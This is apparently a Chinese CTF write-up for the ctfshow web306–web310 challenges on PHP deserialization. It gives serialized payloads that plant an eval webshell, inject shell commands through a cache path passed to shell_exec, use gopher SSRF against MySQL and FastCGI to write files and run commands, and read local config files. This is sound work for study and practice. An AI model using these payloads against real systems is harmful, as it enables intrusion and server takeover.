当前位置: 首页 > news >正文

ctfshow web入门 web306--web310源码审计

web306

这和之前的完全不一样了

<?php
#error_reporting(0);
session_start();
require 'service.php';$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$service=new service();$user=$service->login($username,$userpwd);
if($user){setcookie('user',base64_encode(serialize($user)),time()+60);header("location:index.php");
}else{header("location:login.php");
}?>

然后添加

cookie:
user=TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI1OiI8P3BocCBAZXZhbCgkX1BPU1RbMV0pOz8%2BIjt9fQ%3D%3D
这是hackbar发的
如果是bp的话可以直接发但是我不知道为啥我的bp突然发不了了,然后访问1.php进行rce

web307

我是终于找到了在一堆里面弄

public function  clearCache(){shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');}

EXP

<?php
class config{public $cache_dir=';echo "<?php eval(\$_POST[1]);?>" > 1.php;';//这里的反斜杠转义$,因为shell中的$有特殊含义
}
class dao{private $config;public function __construct(){$this->config=new config();}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
cookie:
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDI6IjtlY2hvICI8P3BocCBldmFsKFwkX1BPU1RbMV0pOz8+IiA+IDEucGhwOyI7fX0=

访问1.php再rce就行了,但是不知道为啥我今天做不出来,弄了好一会了

web308

用工具打ssrf
在这里插入图片描述gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%3b%29%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%36%2e%70%68%70%27%01%00%00%00%01

<?php 
class config{public $update_url="gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%3b%29%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%36%2e%70%68%70%27%01%00%00%00%01";
}
class dao{public $config;function __construct(){$this->config=new config();}
}echo urlencode(base64_encode(serialize(new dao())));
?>

web309

加了密码,打FastCGI
在这里插入图片描述

<?php 
class config{public $update_url="gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00";
}
class dao{public $config;function __construct(){$this->config=new config();}
}echo urlencode(base64_encode(serialize(new dao())));
?>
这个index.php的填写是填写网站的默认文件所以自然是他,然后我们打通之后访问index.php拿flag因为index.php也使用了同样的方法

![994d4e7339c760ff.png)在这里插入图片描述

web310

说的源码没变,这里我们写个EXP看配置文件ngnix.conf

<?php 
class config{public $update_url='file:///etc/nginx/nginx.conf';
}
class dao{private $config;public function __construct(){$this->config=new config();}
}
echo base64_encode(serialize(new dao()));
?>

TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czoyODoiZmlsZTovLy9ldGMvbmdpbngvbmdpbnguY29uZiI7fX0=

作者:OceanSec
链接:https://juejin.cn/post/7083293190022758407
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

server {listen       4476;server_name  localhost;root         /var/flag;index index.html;
}# 每一个http块都可以包含多个server块,而每个server块就相当于一台虚拟主机,它内部可有多台主机联合提供服务,一起对外提供在逻辑上关系密切的一组服务
<?php
class config{public $update_url='http://127.0.0.1:4476';
}
class dao{private $config;public function __construct(){$this->config=new config();}
}
echo base64_encode(serialize(new dao()));
?>

正常是能看到回显的
这些题都要在index.php发包才可以

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 多电脑共享鼠标键盘
  • 如果jupyter notebook不能实现网页自动跳转,参考下面的链接
  • 【量算分析工具-方位角】GeoServer改造Springboot番外系列六
  • 基于vue3速学angular
  • You don‘t have enough free space或者no space left on device异常
  • 判断dom元素是否滚动到底、是否在可视区域
  • Linux查看某个用户使用总内存脚本
  • Spring Boot集成sharding-jdbc快速入门Demo
  • 一套最完整的无人值守配电站房智能辅助监控系统(实用收藏版)
  • [ C++ ] 类和对象( 下 )
  • ES数据导出成csv文件
  • .NET技术成长路线架构图
  • 免费,Python蓝桥杯等级考试真题--第13级(含答案解析和代码)
  • JAVA学习-练习试用Java实现“Excel表列名称”
  • Spring AOP:使用Spring AOP进行切面编程的实例,解释不同类型的advice(advice类型)以及何时使用它们
  • Angular 响应式表单 基础例子
  • C++入门教程(10):for 语句
  • Docker: 容器互访的三种方式
  • Essential Studio for ASP.NET Web Forms 2017 v2,新增自定义树形网格工具栏
  • Logstash 参考指南(目录)
  • maven工程打包jar以及java jar命令的classpath使用
  • Redis在Web项目中的应用与实践
  • Traffic-Sign Detection and Classification in the Wild 论文笔记
  • use Google search engine
  • 不上全站https的网站你们就等着被恶心死吧
  • 前端面试题总结
  • 实习面试笔记
  • 使用阿里云发布分布式网站,开发时候应该注意什么?
  • 推荐一个React的管理后台框架
  • 优化 Vue 项目编译文件大小
  • MiKTeX could not find the script engine ‘perl.exe‘ which is required to execute ‘latexmk‘.
  • 资深实践篇 | 基于Kubernetes 1.61的Kubernetes Scheduler 调度详解 ...
  • %3cscript放入php,跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击
  • (1)STL算法之遍历容器
  • (二)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (附源码)spring boot建达集团公司平台 毕业设计 141538
  • (附源码)ssm高校运动会管理系统 毕业设计 020419
  • (附源码)计算机毕业设计SSM智慧停车系统
  • (论文阅读26/100)Weakly-supervised learning with convolutional neural networks
  • (七)Java对象在Hibernate持久化层的状态
  • (四十一)大数据实战——spark的yarn模式生产环境部署
  • (五)MySQL的备份及恢复
  • (转)shell调试方法
  • (转)四层和七层负载均衡的区别
  • .NET Core 项目指定SDK版本
  • .NET DataGridView数据绑定说明
  • .NET MVC第五章、模型绑定获取表单数据
  • .NET 回调、接口回调、 委托
  • .Net高阶异常处理第二篇~~ dump进阶之MiniDumpWriter
  • .NET开源的一个小而快并且功能强大的 Windows 动态桌面软件 - DreamScene2
  • /etc/fstab和/etc/mtab的区别
  • @Not - Empty-Null-Blank
  • @Slf4j idea标红Cannot resolve symbol ‘log‘
  • @synthesize和@dynamic分别有什么作用?
  • @Transient注解